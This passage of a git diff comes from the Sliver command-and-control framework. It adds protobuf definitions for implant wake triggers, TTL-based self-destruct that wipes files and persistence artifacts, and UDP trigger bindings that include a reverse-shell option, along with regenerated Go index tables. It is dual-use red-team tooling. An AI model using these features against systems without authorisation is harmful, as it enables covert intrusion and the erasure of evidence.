clientpb.ResourceID + (*CertificatesReq)(nil), // 157: clientpb.CertificatesReq + (*CertificateData)(nil), // 158: clientpb.CertificateData + (*CertificateInfo)(nil), // 159: clientpb.CertificateInfo + (*CertificateAuthorityData)(nil), // 160: clientpb.CertificateAuthorityData + (*CertificateAuthorityInfo)(nil), // 161: clientpb.CertificateAuthorityInfo + (*WakeBeaconConfig)(nil), // 162: clientpb.WakeBeaconConfig + (*StopJobConfig)(nil), // 163: clientpb.StopJobConfig + (*ExecConfig)(nil), // 164: clientpb.ExecConfig + (*ReverseShellConfig)(nil), // 165: clientpb.ReverseShellConfig + (*TriggerIntentBinding)(nil), // 166: clientpb.TriggerIntentBinding + (*TriggerListenerReq)(nil), // 167: clientpb.TriggerListenerReq + (*TriggerIntentsReq)(nil), // 168: clientpb.TriggerIntentsReq + (*TriggerIntents)(nil), // 169: clientpb.TriggerIntents + (*TriggerDispatchTaskReq)(nil), // 170: clientpb.TriggerDispatchTaskReq + (*TriggerFireReq)(nil), // 171: clientpb.TriggerFireReq + (*TriggerFireResp)(nil), // 172: clientpb.TriggerFireResp + nil, // 173: clientpb.TrafficEncoderMap.EncodersEntry + nil, // 174: clientpb.ExternalImplantConfig.EncodersEntry + nil, // 175: clientpb.ImplantBuilds.ConfigsEntry + nil, // 176: clientpb.ImplantBuilds.ResourceIDsEntry + nil, // 177: clientpb.ImplantBuilds.StagedEntry + nil, // 178: clientpb.WebsiteAddContent.ContentsEntry + nil, // 179: clientpb.Website.ContentsEntry + nil, // 180: clientpb.Host.ExtensionDataEntry + nil, // 181: clientpb.ShellcodeEncoderArchMap.EncodersEntry + nil, // 182: clientpb.ShellcodeEncoderArchMap.DescriptionsEntry + nil, // 183: clientpb.ShellcodeEncoderMap.EncodersEntry + nil, // 184: clientpb.CrackSyncStatus.ProgressEntry + nil, // 185: clientpb.CrackBenchmark.BenchmarksEntry + nil, // 186: clientpb.Crackstation.BenchmarksEntry + nil, // 187: clientpb.ExecConfig.EnvEntry + nil, // 188: clientpb.TriggerListenerReq.PerClientKeysEntry + (*commonpb.File)(nil), // 189: commonpb.File + (*commonpb.Request)(nil), // 190: commonpb.Request + (*commonpb.Response)(nil), // 191: commonpb.Response +} +var file_clientpb_client_proto_depIdxs = []int32{ + 21, // 0: clientpb.Beacons.Beacons:type_name -> clientpb.Beacon + 23, // 1: clientpb.BeaconTasks.Tasks:type_name -> clientpb.BeaconTask + 44, // 2: clientpb.ImplantConfig.ImplantBuilds:type_name -> clientpb.ImplantBuild + 26, // 3: clientpb.ImplantConfig.C2:type_name -> clientpb.ImplantC2 + 0, // 4: clientpb.ImplantConfig.Format:type_name -> clientpb.OutputFormat + 27, // 5: clientpb.ImplantConfig.ShellcodeConfig:type_name -> clientpb.ShellcodeConfig + 3, // 6: clientpb.ImplantConfig.ShellcodeEncoder:type_name -> clientpb.ShellcodeEncoder + 189, // 7: clientpb.ImplantConfig.Assets:type_name -> commonpb.File + 29, // 8: clientpb.PESpoofMetadataConfig.Source:type_name -> clientpb.SpoofMetadataFile + 29, // 9: clientpb.PESpoofMetadataConfig.Icon:type_name -> clientpb.SpoofMetadataFile + 30, // 10: clientpb.PESpoofMetadataConfig.ResourceDirectory:type_name -> clientpb.IMAGE_RESOURCE_DIRECTORY + 31, // 11: clientpb.PESpoofMetadataConfig.ResourceDirectoryEntries:type_name -> clientpb.IMAGE_RESOURCE_DIRECTORY_ENTRY 32, // 12: clientpb.PESpoofMetadataConfig.ResourceDataEntries:type_name -> clientpb.IMAGE_RESOURCE_DATA_ENTRY 33, // 13: clientpb.PESpoofMetadataConfig.ExportDirectory:type_name -> clientpb.IMAGE_EXPORT_DIRECTORY 34, // 14: clientpb.SpoofMetadataConfig.PE:type_name -> clientpb.PESpoofMetadataConfig - 176, // 15: clientpb.TrafficEncoder.Wasm:type_name -> commonpb.File - 162, // 16: clientpb.TrafficEncoderMap.Encoders:type_name -> clientpb.TrafficEncoderMap.EncodersEntry + 189, // 15: clientpb.TrafficEncoder.Wasm:type_name -> commonpb.File + 173, // 16: clientpb.TrafficEncoderMap.Encoders:type_name -> clientpb.TrafficEncoderMap.EncodersEntry 36, // 17: clientpb.TrafficEncoderTests.Encoder:type_name -> clientpb.TrafficEncoder 38, // 18: clientpb.TrafficEncoderTests.Tests:type_name -> clientpb.TrafficEncoderTest 28, // 19: clientpb.ExternalImplantConfig.Config:type_name -> clientpb.ImplantConfig 44, // 20: clientpb.ExternalImplantConfig.Build:type_name -> clientpb.ImplantBuild 119, // 21: clientpb.ExternalImplantConfig.HTTPC2:type_name -> clientpb.HTTPC2Config - 163, // 22: clientpb.ExternalImplantConfig.encoders:type_name -> clientpb.ExternalImplantConfig.EncodersEntry - 176, // 23: clientpb.ExternalImplantBinary.File:type_name -> commonpb.File - 164, // 24: clientpb.ImplantBuilds.Configs:type_name -> clientpb.ImplantBuilds.ConfigsEntry - 165, // 25: clientpb.ImplantBuilds.ResourceIDs:type_name -> clientpb.ImplantBuilds.ResourceIDsEntry - 166, // 26: clientpb.ImplantBuilds.staged:type_name -> clientpb.ImplantBuilds.StagedEntry + 174, // 22: clientpb.ExternalImplantConfig.encoders:type_name -> clientpb.ExternalImplantConfig.EncodersEntry + 189, // 23: clientpb.ExternalImplantBinary.File:type_name -> commonpb.File + 175, // 24: clientpb.ImplantBuilds.Configs:type_name -> clientpb.ImplantBuilds.ConfigsEntry + 176, // 25: clientpb.ImplantBuilds.ResourceIDs:type_name -> clientpb.ImplantBuilds.ResourceIDsEntry + 177, // 26: clientpb.ImplantBuilds.staged:type_name -> clientpb.ImplantBuilds.StagedEntry 0, // 27: clientpb.CompilerTarget.Format:type_name -> clientpb.OutputFormat 45, // 28: clientpb.Compiler.Targets:type_name -> clientpb.CompilerTarget 46, // 29: clientpb.Compiler.CrossCompilers:type_name -> clientpb.CrossCompiler @@ -14497,117 +16606,126 @@ var file_clientpb_client_proto_depIdxs = []int32{ 65, // 38: clientpb.ListenerJob.HTTPConf:type_name -> clientpb.HTTPListenerReq 61, // 39: clientpb.ListenerJob.MultiConf:type_name -> clientpb.MultiplayerListenerReq 78, // 40: clientpb.ListenerJob.TCPConf:type_name -> clientpb.StagerListenerReq - 177, // 41: clientpb.NamedPipesReq.Request:type_name -> commonpb.Request - 178, // 42: clientpb.NamedPipes.Response:type_name -> commonpb.Response - 177, // 43: clientpb.TCPPivotReq.Request:type_name -> commonpb.Request - 178, // 44: clientpb.TCPPivot.Response:type_name -> commonpb.Response - 20, // 45: clientpb.Sessions.Sessions:type_name -> clientpb.Session - 28, // 46: clientpb.GenerateReq.Config:type_name -> clientpb.ImplantConfig - 176, // 47: clientpb.Generate.File:type_name -> commonpb.File - 35, // 48: clientpb.GenerateSpoofMetadataReq.SpoofMetadata:type_name -> clientpb.SpoofMetadataConfig - 177, // 49: clientpb.MSFReq.Request:type_name -> commonpb.Request - 177, // 50: clientpb.MSFRemoteReq.Request:type_name -> commonpb.Request - 1, // 51: clientpb.StagerListenerReq.Protocol:type_name -> clientpb.StageProtocol - 28, // 52: clientpb.GetSystemReq.Config:type_name -> clientpb.ImplantConfig - 177, // 53: clientpb.GetSystemReq.Request:type_name -> commonpb.Request - 28, // 54: clientpb.MigrateReq.Config:type_name -> clientpb.ImplantConfig - 3, // 55: clientpb.MigrateReq.Encoder:type_name -> clientpb.ShellcodeEncoder - 177, // 56: clientpb.MigrateReq.Request:type_name -> commonpb.Request - 177, // 57: clientpb.CreateTunnelReq.Request:type_name -> commonpb.Request - 177, // 58: clientpb.CloseTunnelReq.Request:type_name -> commonpb.Request - 20, // 59: clientpb.PivotGraphEntry.Session:type_name -> clientpb.Session - 87, // 60: clientpb.PivotGraphEntry.Children:type_name -> clientpb.PivotGraphEntry - 87, // 61: clientpb.PivotGraph.Children:type_name -> clientpb.PivotGraphEntry - 92, // 62: clientpb.Client.Operator:type_name -> clientpb.Operator - 20, // 63: clientpb.Event.Session:type_name -> clientpb.Session - 55, // 64: clientpb.Event.Job:type_name -> clientpb.Job - 89, // 65: clientpb.Event.Client:type_name -> clientpb.Client - 92, // 66: clientpb.Operators.Operators:type_name -> clientpb.Operator - 167, // 67: clientpb.WebsiteAddContent.Contents:type_name -> clientpb.WebsiteAddContent.ContentsEntry - 168, // 68: clientpb.Website.Contents:type_name -> clientpb.Website.ContentsEntry - 96, // 69: clientpb.Websites.Websites:type_name -> clientpb.Website - 2, // 70: clientpb.Loot.FileType:type_name -> clientpb.FileType - 176, // 71: clientpb.Loot.File:type_name -> commonpb.File - 99, // 72: clientpb.AllLoot.Loot:type_name -> clientpb.Loot - 101, // 73: clientpb.Host.IOCs:type_name -> clientpb.IOC - 169, // 74: clientpb.Host.ExtensionData:type_name -> clientpb.Host.ExtensionDataEntry - 103, // 75: clientpb.AllHosts.Hosts:type_name -> clientpb.Host - 177, // 76: clientpb.DllHijackReq.Request:type_name -> commonpb.Request - 178, // 77: clientpb.DllHijack.Response:type_name -> commonpb.Response - 177, // 78: clientpb.BackdoorReq.Request:type_name -> commonpb.Request - 178, // 79: clientpb.Backdoor.Response:type_name -> commonpb.Response - 3, // 80: clientpb.ShellcodeEncodeReq.Encoder:type_name -> clientpb.ShellcodeEncoder - 177, // 81: clientpb.ShellcodeEncodeReq.Request:type_name -> commonpb.Request - 178, // 82: clientpb.ShellcodeEncode.Response:type_name -> commonpb.Response - 170, // 83: clientpb.ShellcodeEncoderArchMap.Encoders:type_name -> clientpb.ShellcodeEncoderArchMap.EncodersEntry - 171, // 84: clientpb.ShellcodeEncoderArchMap.Descriptions:type_name -> clientpb.ShellcodeEncoderArchMap.DescriptionsEntry - 172, // 85: clientpb.ShellcodeEncoderMap.Encoders:type_name -> clientpb.ShellcodeEncoderMap.EncodersEntry - 28, // 86: clientpb.ExternalGenerateReq.Config:type_name -> clientpb.ImplantConfig - 115, // 87: clientpb.Builders.Builders:type_name -> clientpb.Builder - 45, // 88: clientpb.Builder.Targets:type_name -> clientpb.CompilerTarget - 46, // 89: clientpb.Builder.CrossCompilers:type_name -> clientpb.CrossCompiler - 119, // 90: clientpb.HTTPC2Configs.configs:type_name -> clientpb.HTTPC2Config - 119, // 91: clientpb.HTTPC2ConfigReq.C2Config:type_name -> clientpb.HTTPC2Config - 120, // 92: clientpb.HTTPC2Config.ServerConfig:type_name -> clientpb.HTTPC2ServerConfig - 121, // 93: clientpb.HTTPC2Config.ImplantConfig:type_name -> clientpb.HTTPC2ImplantConfig - 123, // 94: clientpb.HTTPC2ServerConfig.Headers:type_name -> clientpb.HTTPC2Header - 122, // 95: clientpb.HTTPC2ServerConfig.Cookies:type_name -> clientpb.HTTPC2Cookie - 124, // 96: clientpb.HTTPC2ImplantConfig.ExtraURLParameters:type_name -> clientpb.HTTPC2URLParameter - 123, // 97: clientpb.HTTPC2ImplantConfig.Headers:type_name -> clientpb.HTTPC2Header - 125, // 98: clientpb.HTTPC2ImplantConfig.PathSegments:type_name -> clientpb.HTTPC2PathSegment - 5, // 99: clientpb.Credential.HashType:type_name -> clientpb.HashType - 126, // 100: clientpb.Credentials.Credentials:type_name -> clientpb.Credential - 133, // 101: clientpb.Crackstations.Crackstations:type_name -> clientpb.Crackstation - 6, // 102: clientpb.CrackstationStatus.State:type_name -> clientpb.States - 130, // 103: clientpb.CrackstationStatus.Syncing:type_name -> clientpb.CrackSyncStatus - 173, // 104: clientpb.CrackSyncStatus.Progress:type_name -> clientpb.CrackSyncStatus.ProgressEntry - 174, // 105: clientpb.CrackBenchmark.Benchmarks:type_name -> clientpb.CrackBenchmark.BenchmarksEntry - 137, // 106: clientpb.CrackTask.Command:type_name -> clientpb.CrackCommand - 175, // 107: clientpb.Crackstation.Benchmarks:type_name -> clientpb.Crackstation.BenchmarksEntry - 134, // 108: clientpb.Crackstation.CUDA:type_name -> clientpb.CUDABackendInfo - 136, // 109: clientpb.Crackstation.Metal:type_name -> clientpb.MetalBackendInfo - 135, // 110: clientpb.Crackstation.OpenCL:type_name -> clientpb.OpenCLBackendInfo - 8, // 111: clientpb.CrackCommand.AttackMode:type_name -> clientpb.CrackAttackMode - 5, // 112: clientpb.CrackCommand.HashType:type_name -> clientpb.HashType - 10, // 113: clientpb.CrackCommand.OutfileFormat:type_name -> clientpb.CrackOutfileFormat - 9, // 114: clientpb.CrackCommand.EncodingFrom:type_name -> clientpb.CrackEncoding - 9, // 115: clientpb.CrackCommand.EncodingTo:type_name -> clientpb.CrackEncoding - 11, // 116: clientpb.CrackCommand.WorkloadProfile:type_name -> clientpb.CrackWorkloadProfile - 7, // 117: clientpb.CrackJob.Status:type_name -> clientpb.CrackJobStatus - 137, // 118: clientpb.CrackJob.Command:type_name -> clientpb.CrackCommand - 138, // 119: clientpb.CrackResponse.Job:type_name -> clientpb.CrackJob - 142, // 120: clientpb.CrackFiles.Files:type_name -> clientpb.CrackFile - 12, // 121: clientpb.CrackFile.Type:type_name -> clientpb.CrackFileType - 143, // 122: clientpb.CrackFile.Chunks:type_name -> clientpb.CrackFileChunk - 145, // 123: clientpb.AIProviderConfigs.Providers:type_name -> clientpb.AIProviderConfig - 146, // 124: clientpb.AIProviderConfigs.Config:type_name -> clientpb.AIConfigSummary - 150, // 125: clientpb.AIConversations.Conversations:type_name -> clientpb.AIConversation - 152, // 126: clientpb.AIConversation.Messages:type_name -> clientpb.AIConversationMessage - 13, // 127: clientpb.AIConversation.TurnState:type_name -> clientpb.AIConversationTurnState - 149, // 128: clientpb.AIConversation.ContextWindowUsage:type_name -> clientpb.AIContextWindowUsage - 152, // 129: clientpb.AIConversationMessages.Messages:type_name -> clientpb.AIConversationMessage - 14, // 130: clientpb.AIConversationMessage.Kind:type_name -> clientpb.AIConversationMessageKind - 15, // 131: clientpb.AIConversationMessage.Visibility:type_name -> clientpb.AIConversationMessageVisibility - 16, // 132: clientpb.AIConversationMessage.State:type_name -> clientpb.AIConversationMessageState - 17, // 133: clientpb.AIConversationEvent.EventType:type_name -> clientpb.AIConversationEventType - 150, // 134: clientpb.AIConversationEvent.Conversation:type_name -> clientpb.AIConversation - 152, // 135: clientpb.AIConversationEvent.Message:type_name -> clientpb.AIConversationMessage - 155, // 136: clientpb.MonitoringProviders.providers:type_name -> clientpb.MonitoringProvider - 158, // 137: clientpb.CertificateInfo.info:type_name -> clientpb.CertificateData - 160, // 138: clientpb.CertificateAuthorityInfo.info:type_name -> clientpb.CertificateAuthorityData - 36, // 139: clientpb.TrafficEncoderMap.EncodersEntry.value:type_name -> clientpb.TrafficEncoder - 28, // 140: clientpb.ImplantBuilds.ConfigsEntry.value:type_name -> clientpb.ImplantConfig - 156, // 141: clientpb.ImplantBuilds.ResourceIDsEntry.value:type_name -> clientpb.ResourceID - 93, // 142: clientpb.WebsiteAddContent.ContentsEntry.value:type_name -> clientpb.WebContent - 93, // 143: clientpb.Website.ContentsEntry.value:type_name -> clientpb.WebContent - 102, // 144: clientpb.Host.ExtensionDataEntry.value:type_name -> clientpb.ExtensionData - 3, // 145: clientpb.ShellcodeEncoderArchMap.EncodersEntry.value:type_name -> clientpb.ShellcodeEncoder - 111, // 146: clientpb.ShellcodeEncoderMap.EncodersEntry.value:type_name -> clientpb.ShellcodeEncoderArchMap - 147, // [147:147] is the sub-list for method output_type - 147, // [147:147] is the sub-list for method input_type - 147, // [147:147] is the sub-list for extension type_name - 147, // [147:147] is the sub-list for extension extendee - 0, // [0:147] is the sub-list for field type_name + 167, // 41: clientpb.ListenerJob.TriggerConf:type_name -> clientpb.TriggerListenerReq + 190, // 42: clientpb.NamedPipesReq.Request:type_name -> commonpb.Request + 191, // 43: clientpb.NamedPipes.Response:type_name -> commonpb.Response + 190, // 44: clientpb.TCPPivotReq.Request:type_name -> commonpb.Request + 191, // 45: clientpb.TCPPivot.Response:type_name -> commonpb.Response + 20, // 46: clientpb.Sessions.Sessions:type_name -> clientpb.Session + 28, // 47: clientpb.GenerateReq.Config:type_name -> clientpb.ImplantConfig + 189, // 48: clientpb.Generate.File:type_name -> commonpb.File + 35, // 49: clientpb.GenerateSpoofMetadataReq.SpoofMetadata:type_name -> clientpb.SpoofMetadataConfig + 190, // 50: clientpb.MSFReq.Request:type_name -> commonpb.Request + 190, // 51: clientpb.MSFRemoteReq.Request:type_name -> commonpb.Request + 1, // 52: clientpb.StagerListenerReq.Protocol:type_name -> clientpb.StageProtocol + 28, // 53: clientpb.GetSystemReq.Config:type_name -> clientpb.ImplantConfig + 190, // 54: clientpb.GetSystemReq.Request:type_name -> commonpb.Request + 28, // 55: clientpb.MigrateReq.Config:type_name -> clientpb.ImplantConfig + 3, // 56: clientpb.MigrateReq.Encoder:type_name -> clientpb.ShellcodeEncoder + 190, // 57: clientpb.MigrateReq.Request:type_name -> commonpb.Request + 190, // 58: clientpb.CreateTunnelReq.Request:type_name -> commonpb.Request + 190, // 59: clientpb.CloseTunnelReq.Request:type_name -> commonpb.Request + 20, // 60: clientpb.PivotGraphEntry.Session:type_name -> clientpb.Session + 87, // 61: clientpb.PivotGraphEntry.Children:type_name -> clientpb.PivotGraphEntry + 87, // 62: clientpb.PivotGraph.Children:type_name -> clientpb.PivotGraphEntry + 92, // 63: clientpb.Client.Operator:type_name -> clientpb.Operator + 20, // 64: clientpb.Event.Session:type_name -> clientpb.Session + 55, // 65: clientpb.Event.Job:type_name -> clientpb.Job + 89, // 66: clientpb.Event.Client:type_name -> clientpb.Client + 92, // 67: clientpb.Operators.Operators:type_name -> clientpb.Operator + 178, // 68: clientpb.WebsiteAddContent.Contents:type_name -> clientpb.WebsiteAddContent.ContentsEntry + 179, // 69: clientpb.Website.Contents:type_name -> clientpb.Website.ContentsEntry + 96, // 70: clientpb.Websites.Websites:type_name -> clientpb.Website + 2, // 71: clientpb.Loot.FileType:type_name -> clientpb.FileType + 189, // 72: clientpb.Loot.File:type_name -> commonpb.File + 99, // 73: clientpb.AllLoot.Loot:type_name -> clientpb.Loot + 101, // 74: clientpb.Host.IOCs:type_name -> clientpb.IOC + 180, // 75: clientpb.Host.ExtensionData:type_name -> clientpb.Host.ExtensionDataEntry + 103, // 76: clientpb.AllHosts.Hosts:type_name -> clientpb.Host + 190, // 77: clientpb.DllHijackReq.Request:type_name -> commonpb.Request + 191, // 78: clientpb.DllHijack.Response:type_name -> commonpb.Response + 190, // 79: clientpb.BackdoorReq.Request:type_name -> commonpb.Request + 191, // 80: clientpb.Backdoor.Response:type_name -> commonpb.Response + 3, // 81: clientpb.ShellcodeEncodeReq.Encoder:type_name -> clientpb.ShellcodeEncoder + 190, // 82: clientpb.ShellcodeEncodeReq.Request:type_name -> commonpb.Request + 191, // 83: clientpb.ShellcodeEncode.Response:type_name -> commonpb.Response + 181, // 84: clientpb.ShellcodeEncoderArchMap.Encoders:type_name -> clientpb.ShellcodeEncoderArchMap.EncodersEntry + 182, // 85: clientpb.ShellcodeEncoderArchMap.Descriptions:type_name -> clientpb.ShellcodeEncoderArchMap.DescriptionsEntry + 183, // 86: clientpb.ShellcodeEncoderMap.Encoders:type_name -> clientpb.ShellcodeEncoderMap.EncodersEntry + 28, // 87: clientpb.ExternalGenerateReq.Config:type_name -> clientpb.ImplantConfig + 115, // 88: clientpb.Builders.Builders:type_name -> clientpb.Builder + 45, // 89: clientpb.Builder.Targets:type_name -> clientpb.CompilerTarget + 46, // 90: clientpb.Builder.CrossCompilers:type_name -> clientpb.CrossCompiler + 119, // 91: clientpb.HTTPC2Configs.configs:type_name -> clientpb.HTTPC2Config + 119, // 92: clientpb.HTTPC2ConfigReq.C2Config:type_name -> clientpb.HTTPC2Config + 120, // 93: clientpb.HTTPC2Config.ServerConfig:type_name -> clientpb.HTTPC2ServerConfig + 121, // 94: clientpb.HTTPC2Config.ImplantConfig:type_name -> clientpb.HTTPC2ImplantConfig + 123, // 95: clientpb.HTTPC2ServerConfig.Headers:type_name -> clientpb.HTTPC2Header + 122, // 96: clientpb.HTTPC2ServerConfig.Cookies:type_name -> clientpb.HTTPC2Cookie + 124, // 97: clientpb.HTTPC2ImplantConfig.ExtraURLParameters:type_name -> clientpb.HTTPC2URLParameter + 123, // 98: clientpb.HTTPC2ImplantConfig.Headers:type_name -> clientpb.HTTPC2Header + 125, // 99: clientpb.HTTPC2ImplantConfig.PathSegments:type_name -> clientpb.HTTPC2PathSegment + 5, // 100: clientpb.Credential.HashType:type_name -> clientpb.HashType + 126, // 101: clientpb.Credentials.Credentials:type_name -> clientpb.Credential + 133, // 102: clientpb.Crackstations.Crackstations:type_name -> clientpb.Crackstation + 6, // 103: clientpb.CrackstationStatus.State:type_name -> clientpb.States + 130, // 104: clientpb.CrackstationStatus.Syncing:type_name -> clientpb.CrackSyncStatus + 184, // 105: clientpb.CrackSyncStatus.Progress:type_name -> clientpb.CrackSyncStatus.ProgressEntry + 185, // 106: clientpb.CrackBenchmark.Benchmarks:type_name -> clientpb.CrackBenchmark.BenchmarksEntry + 137, // 107: clientpb.CrackTask.Command:type_name -> clientpb.CrackCommand + 186, // 108: clientpb.Crackstation.Benchmarks:type_name -> clientpb.Crackstation.BenchmarksEntry + 134, // 109: clientpb.Crackstation.CUDA:type_name -> clientpb.CUDABackendInfo + 136, // 110: clientpb.Crackstation.Metal:type_name -> clientpb.MetalBackendInfo + 135, // 111: clientpb.Crackstation.OpenCL:type_name -> clientpb.OpenCLBackendInfo + 8, // 112: clientpb.CrackCommand.AttackMode:type_name -> clientpb.CrackAttackMode + 5, // 113: clientpb.CrackCommand.HashType:type_name -> clientpb.HashType + 10, // 114: clientpb.CrackCommand.OutfileFormat:type_name -> clientpb.CrackOutfileFormat + 9, // 115: clientpb.CrackCommand.EncodingFrom:type_name -> clientpb.CrackEncoding + 9, // 116: clientpb.CrackCommand.EncodingTo:type_name -> clientpb.CrackEncoding + 11, // 117: clientpb.CrackCommand.WorkloadProfile:type_name -> clientpb.CrackWorkloadProfile + 7, // 118: clientpb.CrackJob.Status:type_name -> clientpb.CrackJobStatus + 137, // 119: clientpb.CrackJob.Command:type_name -> clientpb.CrackCommand + 138, // 120: clientpb.CrackResponse.Job:type_name -> clientpb.CrackJob + 142, // 121: clientpb.CrackFiles.Files:type_name -> clientpb.CrackFile + 12, // 122: clientpb.CrackFile.Type:type_name -> clientpb.CrackFileType + 143, // 123: clientpb.CrackFile.Chunks:type_name -> clientpb.CrackFileChunk + 145, // 124: clientpb.AIProviderConfigs.Providers:type_name -> clientpb.AIProviderConfig + 146, // 125: clientpb.AIProviderConfigs.Config:type_name -> clientpb.AIConfigSummary + 150, // 126: clientpb.AIConversations.Conversations:type_name -> clientpb.AIConversation + 152, // 127: clientpb.AIConversation.Messages:type_name -> clientpb.AIConversationMessage + 13, // 128: clientpb.AIConversation.TurnState:type_name -> clientpb.AIConversationTurnState + 149, // 129: clientpb.AIConversation.ContextWindowUsage:type_name -> clientpb.AIContextWindowUsage + 152, // 130: clientpb.AIConversationMessages.Messages:type_name -> clientpb.AIConversationMessage + 14, // 131: clientpb.AIConversationMessage.Kind:type_name -> clientpb.AIConversationMessageKind + 15, // 132: clientpb.AIConversationMessage.Visibility:type_name -> clientpb.AIConversationMessageVisibility + 16, // 133: clientpb.AIConversationMessage.State:type_name -> clientpb.AIConversationMessageState + 17, // 134: clientpb.AIConversationEvent.EventType:type_name -> clientpb.AIConversationEventType + 150, // 135: clientpb.AIConversationEvent.Conversation:type_name -> clientpb.AIConversation + 152, // 136: clientpb.AIConversationEvent.Message:type_name -> clientpb.AIConversationMessage + 155, // 137: clientpb.MonitoringProviders.providers:type_name -> clientpb.MonitoringProvider + 158, // 138: clientpb.CertificateInfo.info:type_name -> clientpb.CertificateData + 160, // 139: clientpb.CertificateAuthorityInfo.info:type_name -> clientpb.CertificateAuthorityData + 187, // 140: clientpb.ExecConfig.Env:type_name -> clientpb.ExecConfig.EnvEntry + 162, // 141: clientpb.TriggerIntentBinding.WakeBeacon:type_name -> clientpb.WakeBeaconConfig + 163, // 142: clientpb.TriggerIntentBinding.StopJob:type_name -> clientpb.StopJobConfig + 164, // 143: clientpb.TriggerIntentBinding.Exec:type_name -> clientpb.ExecConfig + 165, // 144: clientpb.TriggerIntentBinding.ReverseShell:type_name -> clientpb.ReverseShellConfig + 188, // 145: clientpb.TriggerListenerReq.PerClientKeys:type_name -> clientpb.TriggerListenerReq.PerClientKeysEntry + 166, // 146: clientpb.TriggerListenerReq.Intents:type_name -> clientpb.TriggerIntentBinding + 166, // 147: clientpb.TriggerIntents.Bindings:type_name -> clientpb.TriggerIntentBinding + 36, // 148: clientpb.TrafficEncoderMap.EncodersEntry.value:type_name -> clientpb.TrafficEncoder + 28, // 149: clientpb.ImplantBuilds.ConfigsEntry.value:type_name -> clientpb.ImplantConfig + 156, // 150: clientpb.ImplantBuilds.ResourceIDsEntry.value:type_name -> clientpb.ResourceID + 93, // 151: clientpb.WebsiteAddContent.ContentsEntry.value:type_name -> clientpb.WebContent + 93, // 152: clientpb.Website.ContentsEntry.value:type_name -> clientpb.WebContent + 102, // 153: clientpb.Host.ExtensionDataEntry.value:type_name -> clientpb.ExtensionData + 3, // 154: clientpb.ShellcodeEncoderArchMap.EncodersEntry.value:type_name -> clientpb.ShellcodeEncoder + 111, // 155: clientpb.ShellcodeEncoderMap.EncodersEntry.value:type_name -> clientpb.ShellcodeEncoderArchMap + 156, // [156:156] is the sub-list for method output_type + 156, // [156:156] is the sub-list for method input_type + 156, // [156:156] is the sub-list for extension type_name + 156, // [156:156] is the sub-list for extension extendee + 0, // [0:156] is the sub-list for field type_name } func init() { file_clientpb_client_proto_init() } @@ -14616,13 +16734,19 @@ func file_clientpb_client_proto_init() { return } file_clientpb_client_proto_msgTypes[134].OneofWrappers = []any{} + file_clientpb_client_proto_msgTypes[148].OneofWrappers = []any{ + (*TriggerIntentBinding_WakeBeacon)(nil), + (*TriggerIntentBinding_StopJob)(nil), + (*TriggerIntentBinding_Exec)(nil), + (*TriggerIntentBinding_ReverseShell)(nil), + } type x struct{} out := protoimpl.TypeBuilder{ File: protoimpl.DescBuilder{ GoPackagePath: reflect.TypeOf(x{}).PkgPath(), RawDescriptor: unsafe.Slice(unsafe.StringData(file_clientpb_client_proto_rawDesc), len(file_clientpb_client_proto_rawDesc)), NumEnums: 18, - NumMessages: 158, + NumMessages: 171, NumExtensions: 0, NumServices: 0, }, diff --git a/protobuf/clientpb/client.proto b/protobuf/clientpb/client.proto index 3d2c9bb934..47eb6a1d1a 100644 --- a/protobuf/clientpb/client.proto +++ b/protobuf/clientpb/client.proto @@ -219,6 +219,51 @@ message ImplantConfig { reserved "SpoofData"; repeated commonpb.File Assets = 200; + + // [ Trigger / Wake / TTL ] -------------------------------------- + // + // Optional implant features for the trigger-via-standalone Phase 2 + // integration. All disabled by default (zero-value semantics). + // + // IncludeTriggerWake gates the implant/sliver/transports/triggerwake/ + // package via Sliver's template directive system. When true at + // build time, the implant starts a passive UDP listener that + // accepts HMAC-signed "wake" and "self-destruct" tasks. + bool IncludeTriggerWake = 201; + // TriggerWakeBindAddr is the host:port the implant listens on. + string TriggerWakeBindAddr = 202; + // TriggerWakeSecret is the HMAC-SHA256 key the implant uses to + // verify incoming triggers. Generate one per implant; don't reuse + // across deployments. + bytes TriggerWakeSecret = 203; + // TriggerWakeAllowedClientIDs, if non-empty, restricts which + // client_id values the implant accepts. Empty = any signed client. + repeated string TriggerWakeAllowedClientIDs = 204; + + // TTLEnabled activates the implant's built-in expiry timer. When + // true, the implant runs a ticker that compares the current time + // against TTLExpiresAtUnix and self-destructs (via implant/sliver/ + // burn) when the deadline passes. Independent of any operator- + // fired self-destruct trigger. + bool TTLEnabled = 205; + // TTLExpiresAtUnix is the absolute deadline as a Unix timestamp + // (seconds since epoch). Populated by server/generate at build + // time as (build_time + TTLMinutes * 60). The implant treats this + // as opaque — it just compares to time.Now().Unix(). + int64 TTLExpiresAtUnix = 206; + // TTLMinutes is the build-time-configured lifetime in minutes. + // 30 days default = 43200. Kept in proto for audit/operator + // visibility — the implant only ever reads TTLExpiresAtUnix. + uint32 TTLMinutes = 207; + // TTLBurnExtraPaths is the operator-supplied list of filesystem + // paths the implant will wipe on self-destruct (TTL expiry OR + // operator-fired). Typically: scratch dirs, drop files, cached + // audit logs the implant wrote during its lifetime. + repeated string TTLBurnExtraPaths = 208; + // TTLBurnPersistence is the operator-supplied list of platform- + // specific persistence artifact paths to scrub on self-destruct + // (systemd unit paths, launchd plists, registry keys, etc.). + repeated string TTLBurnPersistence = 209; } message SpoofMetadataFile { @@ -451,6 +496,7 @@ message ListenerJob { HTTPListenerReq HTTPConf = 7; MultiplayerListenerReq MultiConf = 8; StagerListenerReq TCPConf = 9; + TriggerListenerReq TriggerConf = 10; } message MultiplayerListenerReq { @@ -1594,3 +1640,157 @@ message CertificateAuthorityData { message CertificateAuthorityInfo { repeated CertificateAuthorityData info = 1; } + +// [ Trigger ] ------------------------------------------------------- +// +// Authenticated UDP-trigger listener. Imports the standalone +// github.com/0x90pkt/trigger library as the wire protocol + listener +// core; these messages describe Sliver-side configuration that the +// server marshals onto the library's listener.Config + intents.Registry. +// +// Each TriggerIntentBinding maps a task label (the string the +// operator sends in the UDP trigger packet) to a Sliver-side action +// configured at listener-start. The action's kind is selected by the +// `config` oneof -- exactly one of the *Config message types is set +// per binding. + +message WakeBeaconConfig { + // BeaconID (UUID string) of the beacon whose NextCheckin should be + // updated when the trigger fires. + string BeaconID = 1; +} + +message StopJobConfig { + // JobName matches the Name field of an active core.Job. First match + // wins; document collisions to operators. + string JobName = 1; +} + +message ExecConfig { + // Cmd is the absolute path of the executable. Pre-split argv only. + string Cmd = 1; + repeated string Args = 2; + string Workdir = 3; + map Env = 4; + // TimeoutMs bounds the subprocess lifetime via context.WithTimeout. + uint32 TimeoutMs = 5; + // PathOverride / HomeOverride customize the 